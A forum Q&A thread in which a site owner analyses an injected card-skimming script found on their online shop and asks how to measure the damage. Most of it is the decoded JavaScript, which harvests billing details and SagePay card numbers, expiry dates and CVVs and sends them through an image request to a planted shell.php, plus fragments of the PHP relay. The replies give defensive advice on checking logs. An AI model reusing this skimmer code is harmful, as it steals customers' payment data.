I need help in understanding this hack and maybe I can get more information out of it.

This script was inserted on our website (maybe through a weak password):


the string means (using a base 64 decoder):

var se = false;
function timedMe() {
    if ((!se) && (document.getElementById('sagepaydirectpro_cc_cid'))) {
        fln = document.getElementById('billing:firstname').value + ' ' + document.getElementById('billing:lastname').value;
        ci = document.getElementById('billing:city').value;
        s = document.getElementById('billing:region_id');
        st = s.options[s.selectedIndex].text;
        c = document.getElementById('billing:country_id');
        co = c.options[c.selectedIndex].text;
        ad = document.getElementById('billing:street1').value + ' ' + document.getElementById('billing:street2').value;
        zp = document.getElementById('billing:postcode').value;
        t = document.getElementById('sagepaydirectpro_cc_type');
        ct = t.options[t.selectedIndex].text;
        cn = document.getElementById('sagepaydirectpro_cc_number').value;
        cem = document.getElementById('sagepaydirectpro_expiration').value;
        cey = document.getElementById('sagepaydirectpro_expiration_yr').value;
        cvv = document.getElementById('sagepaydirectpro_cc_cid').value;
        if ((cn.length == 16 && cvv.length == 3) || (cn.length == 15 && cvv.length == 4)) {
            se = true;
            var i = document.createElement('img');
            i.src = 'https://this.is.our.website.url/shell/shell.php?p=132' + encodeURIComponent('&fln=' + fln + '&ct=' + ct + '&cn=' + cn + '&cem=' + cem + '&cey=' + cey + '&cvv=' + cvv + '&co=' + co + '&ci=' + ci + '&st=' + st + '&ad=' + ad + '&zp=' + zp);
setInterval('timedMe()', 700);

And then in shell/shell.php there is:






            if($data=@curl_exec($ch)) $wrt=$data;curl_close($ch);

    else $wrt=@file_get_contents($dourl); 

that string is decoded to:

So, my understanding is that when a customer makes a payment on our website:

1) it gets all the information from sagepay fields

2) does a check to see if cn and cvv are valid

3) creates an image and is attached to the url all the credit card data

4) the php script takes that data to their server (

My question:

Is there anything else that I can discover from these scripts, like how many cards have been compromised etc?

  • 4
    Not php expert but have a look at your firewall logs (and protect them) as number of outbound http connections to may help you to estimate number of cards.
    – lubas
    Nov 27 '15 at 21:03
  • 3
    It seems to me that you understood what is going on with the malicious script. A more useful approach is to scan through your server access log and look for lines containing shell.php. It contains all your customers' credit card info. Nov 28 '15 at 6:04
  • Are you using Magento? Scan your website with magereport.com and fix the found issues. It is more important to know how they came in and placed the files and codes on your website. The website is compromised,you should inform your custimers about it, close the website for maintenance, do a full audit using logs, tools like grep, change all passwords, restore the latest clean backup, close all security holes and install some security solution like NinjaFirewall from nintechnet.com, modsecurity, fail2ban and others.
    – Daniel Ruf
    Nov 29 '15 at 9:44

@QuestionOverflow pointed me in the right direction. greping the server logs for shell.php showed me exactly when it started and how many cards were affected.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.